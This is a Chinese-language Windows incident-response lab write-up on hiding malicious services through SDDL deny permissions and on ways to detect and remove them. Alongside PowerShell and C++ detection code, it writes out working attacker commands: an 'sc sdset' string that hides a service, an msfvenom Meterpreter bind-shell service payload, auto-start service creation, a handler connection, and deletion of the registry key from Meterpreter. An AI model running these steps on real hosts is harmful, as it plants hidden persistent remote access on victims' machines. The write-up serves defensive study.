服务隐藏与排查 | Windows 应急响应
0x00 简介
攻击者通过创建服务进行权限维持过程中,常常会通过一些手段隐藏服务,本文主要演示通过配置访问控制策略来实现隐藏的方式以及排查方法的探索
不包含通过修改内存中链表进行隐藏的方式
0x01 创建服务
直接选择默认的 XblGameSave
服务,这个服务为 Xbox Live
可保存游戏同步保存数据。如果此服务被停止,游戏保存数据将不会上传至 Xbox Live
或从 Xbox Live
下载。
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\XblGameSave
sc qc XblGameSave
0x02 查询服务权限设置
sc sdshow "XblGameSave"
D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
这是一段 安全描述符定义语言(Security Descriptor Definition Language | SDDL
)
具体含义可以参考
https://learn.microsoft.com/zh-cn/windows/win32/secauthz/security-descriptor-string-format
https://learn.microsoft.com/zh-cn/windows/win32/secauthz/ace-strings
https://learn.microsoft.com/zh-cn/windows/win32/services/service-security-and-access-rights
可以通过一些 SDDL
解析工具进行查看
https://github.com/canix1/SDDL-Converter
是一个 powershell
脚本,右键执行
将 SDDL
放到其中进行解析
这样看起来比较直观
0x03 修改服务权限设置
sc sdset "XblGameSave" "D:(D;;DCLCWPDTSD;;;IU)(D;;DCLCWPDTSD;;;SU)(D;;DCLCWPDTSD;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"
0x04 测试隐藏效果
1. services.msc
2. sc
sc queryex | findstr "XblGameSave"
sc query "XblGameSave"
可以看到,常规检查的时候,无法直接看到 XblGameSave
通过 sc query
指定名称查找显示的是 拒绝访问
通过 sc qc
指定名称查找能够显示出正常内容
如果常规方式看不到,应急响应人员也无法知晓该活动的名称,也就无法查询到
3. PowerShell
Get-Service | findstr "XblGameSave"
Get-Service -Name "XblGameSave"
指定名称查询都显示找不到任何服务
4. wmic
wmic service | findstr "XblGameSave"
wmic service where "Name='XblGameSave'" get Name, DisplayName, Description
5. System Informer
https://systeminformer.sourceforge.io/
Process Hacker 的升级版
也看不到
6. 注册表
可以看到,注册表能够看到该服务,此时注册表多了一项 Security
但是不只这一个注册表有 Security
,所以也不好粗暴地作为评判依据
0x05 思考排查方法
方法一 枚举法
按照计划任务隐藏时候的思路,先看一下 sc query
查询不存在的服务时报错是什么
这里就可以看出区别,当然,完全可以用 sc qc
查询做对比,可能更好
这样的话,可以将注册表遍历一遍,之后获取服务名称,挨个查询,看看有没有拒绝访问的,这样就可以测试出是否存在隐藏的服务。当然,这前提是注册表有访问权限,如果攻击者额外设置了注册表权限,可以先取消注册表权限
方法二 高权限查看法
这种隐藏方式无非就是谁可以看,谁不可以看,在 Linux 中,几乎所有的限制对 root
都没用,我们分析一下刚才的权限设置
这里似乎对 SYSTEM
并没有限制,那我们使用 SYSTEM
权限执行这些常规检查是否可以看到呢
0x06 枚举法
思路就是先获取注册表中服务名称,之后通过 sc query
进行查询,根据反馈进行判断
$services = Get-ChildItem "HKLM:\SYSTEM\CurrentControlSet\Services" | ForEach-Object { $_.PSChildName }
$maliciousServices = foreach ($service in $services) {
$queryOutput = sc.exe query $service 2>&1
if ($queryOutput -like "*拒绝访问*") {
$configOutput = sc.exe qc $service
[PSCustomObject]@{
ServiceName = $service
Status = "拒绝访问"
Config = $configOutput
}
}
}
if ($maliciousServices) {
Write-Host "发现以下恶意服务:"
$maliciousServices | Format-Table -AutoSize -Property ServiceName, Status
foreach ($service in $maliciousServices) {
Write-Host "--------------------------------------------------"
Write-Host "Service Name: $($service.ServiceName)"
Write-Host "Status: $($service.Status)"
Write-Host "Service Config:"
$configLines = $service.Config -split "`n"
$configLines | ForEach-Object {
$configLine = $_.Trim()
if ($configLine -ne "" -and $configLine -notlike "[*]*") {
Write-Host $configLine
}
}
Write-Host "--------------------------------------------------"
}
} else {
Write-Host "未发现恶意服务."
}
当然了,这是美化后的,如果你想简单一些,直接用下面的几行就够了
$services = Get-ChildItem "HKLM:\SYSTEM\CurrentControlSet\Services" | ForEach-Object { $_.PSChildName }
foreach ($service in $services) {
$queryOutput = sc.exe query $service 2>&1
if ($queryOutput -like "*拒绝访问*") {
Write-Output $service
}
}
0x07 高权限法
通过 PsExec64.exe
来获取 SYSTEM
权限
PsExec64.exe
是SysinternalsSuite
套件中一款工具https://learn.microsoft.com/zh-cn/sysinternals/downloads/sysinternals-suite
PsExec64.exe -i -s cmd
PsExec
似乎会导致输入法部分功能出现问题
尝试通过 SYSTEM
权限的 cmd
进行查询
sc queryex | findstr "XblGameSave"
sc
看不到隐藏的服务
尝试通过 SYSTEM
启动 services.msc
services.msc
看不到
powershell
看不到
wmic
看不到
创建低权限的用户组和新用户也不行
看来高权限法不行
0x08 删除服务
经过枚举法,已经获取到服务名称,现在通过 sc sdset
设置权限
sc sdset "XblGameSave" "D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"
这样就可以通过 services.msc
进行管理了
删除服务
sc delete "ServiceName"
0x09 删除注册表文件夹会怎么样
1. 创建木马
这次使用 msf
生成一个服务木马来模拟服务
msfvenom -p windows/meterpreter/bind_tcp lport=4455 -f exe-service -o bind.exe
注意,这里指定的文件类型是 exe-service
,MSF
专门为服务准备的一类木马,中文资料上提到这个事极少
2. 创建服务
sc create test binPath= "C:\Users\Administrator\Desktop\bind.exe" start= auto depend= Tcpip obj= Localsystem
创建一个名为 test
的服务,开机自启动执行木马程序,监听 4455
端口
启动服务测试一下
sc start test
3. MSF 连接木马
msfconsole -q
use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set rhost 10.211.55.6
set lport 4455
exploit
服务已经正常启动,关闭连接,重启受害服务器,无用户登录状态下再次尝试连接
再次获取 shell
,服务自启动没问题
4. 观察 MSF 服务情况
再次重启服务器,登录后查看服务信息如下
从服务来看 test
服务已经停止了
从进程角度来看
没有主动监听shell
相关进程
通过 MSF
进行连接
服务监听是存在的
从网络层面看
可以看到 MSF
与受害主机之间的连接
通过 wmic
查看详细情况
wmic process where ProcessId=2216 get Name, ExecutablePath, CommandLine /format:list
这样看来 exe-service
生成的是一个 dll
文件
5. 通过 SDDL 设置隐藏服务
sc sdset "test" "D:(D;;DCLCWPDTSD;;;IU)(D;;DCLCWPDTSD;;;SU)(D;;DCLCWPDTSD;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"
此时已经 Services.msc
已经看不到 test
服务了,这个上面我们已经测试过了
获得的 shell
不受影响
6. 尝试删除注册表项
尝试在 Meterpreter
中远程完成删除
reg deletekey -k "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\test"
注册表项成功被删除,这下我们原来的脚本应该也查不到隐藏的服务了
服务不受影响,这个看了上一篇文章的朋友们肯定有预期了,修改注册表对服务来说会在下次启动的时候才会有作用
sc qc
进行查询显示找不到指定的文件sc query
显示还是拒绝访问
尝试重启服务器
服务已经不存在了
0x10 思考排查方法
一般攻击者使用服务都是做持久化控制的,删掉注册表来对抗隐藏不是常规的思路,但是毕竟大家面对的也不是一群常规的人,如果真的是出现了这种奇葩,该如何进行检测呢?
注册表已经没了,现在还保存着服务列表信息的就只有内存里了吧
1. 进程角度
服务终究还是会产生一个或多个进程,按照它要实现的功能在内存空间执行,这就属于常规角度了
当然,可以把 Rundll32.exe
作为一个标志,很多安全软件也是这么做的,但是它的启动参数没有指定恶意 DLL
位置,而且感觉不太严谨
2. 日志查询
通过日志 Windows 日志 -> 系统
其中来源为 Service Control Manager
的日志会记录服务的创建与执行
3. Windows API
如果 Windows API
呢
#include <iostream>
#include <windows.h>
#include <winsvc.h>
int main()
{
SC_HANDLE schSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ENUMERATE_SERVICE);
if (schSCManager == NULL)
{
std::cout << "Failed to open Service Control Manager." << std::endl;
return 1;
}
DWORD dwBytesNeeded, dwServicesReturned, dwResumeHandle = 0;
EnumServicesStatusEx(
schSCManager,
SC_ENUM_PROCESS_INFO,
SERVICE_TYPE_ALL,
SERVICE_STATE_ALL,
NULL,
0,
&dwBytesNeeded,
&dwServicesReturned,
&dwResumeHandle,
NULL
);
LPENUM_SERVICE_STATUS_PROCESS lpServices = (LPENUM_SERVICE_STATUS_PROCESS)malloc(dwBytesNeeded);
if (lpServices == NULL)
{
std::cout << "Failed to allocate memory." << std::endl;
CloseServiceHandle(schSCManager);
return 1;
}
if (!EnumServicesStatusEx(
schSCManager,
SC_ENUM_PROCESS_INFO,
SERVICE_TYPE_ALL,
SERVICE_STATE_ALL,
(LPBYTE)lpServices,
dwBytesNeeded,
&dwBytesNeeded,
&dwServicesReturned,
&dwResumeHandle,
NULL
))
{
std::cout << "Failed to enumerate services." << std::endl;
free(lpServices);
CloseServiceHandle(schSCManager);
return 1;
}
std::cout << "Services:" << std::endl;
for (DWORD i = 0; i < dwServicesReturned; i++)
{
std::wstring serviceName(lpServices[i].lpServiceName);
std::wcout << serviceName << std::endl;
}
free(lpServices);
CloseServiceHandle(schSCManager);
return 0;
}
经过实验, Windows API
获取不到,即使是 SYSTEM
权限也查询不到
4. sc
sc
的命令报错意味着其实 sc
是可以知道 test
的存在的
但是这里有个问题
一种情况是 sc
能够获取到服务列表,之后查询test
是否存在一种情况是 sc
获取不到服务列表,但是可以将服务名称提交,之后返回信息
如果是第一种情况的话,我们可以直接获取到列表,如果是第二种情况,我们只能暴力枚举
由于 Windows
并不开源,我们无法直接知道 sc
到底是怎么做的
5. 通过内存获取
查阅一些资料后得知,服务信息应该归 SCM
来管,具体落到进程上就是 services.exe
但是经过一堆尝试,并没有找到好的方式来从内存中获取服务列表信息
0x11 删除服务
只通过 SDDL
进行隐藏的服务恶意直接按照文中的方法,重新赋权,就可以删除或停止了
对于进行了 SDDL
同时删除了注册表项的服务,需要通过重启来进行删除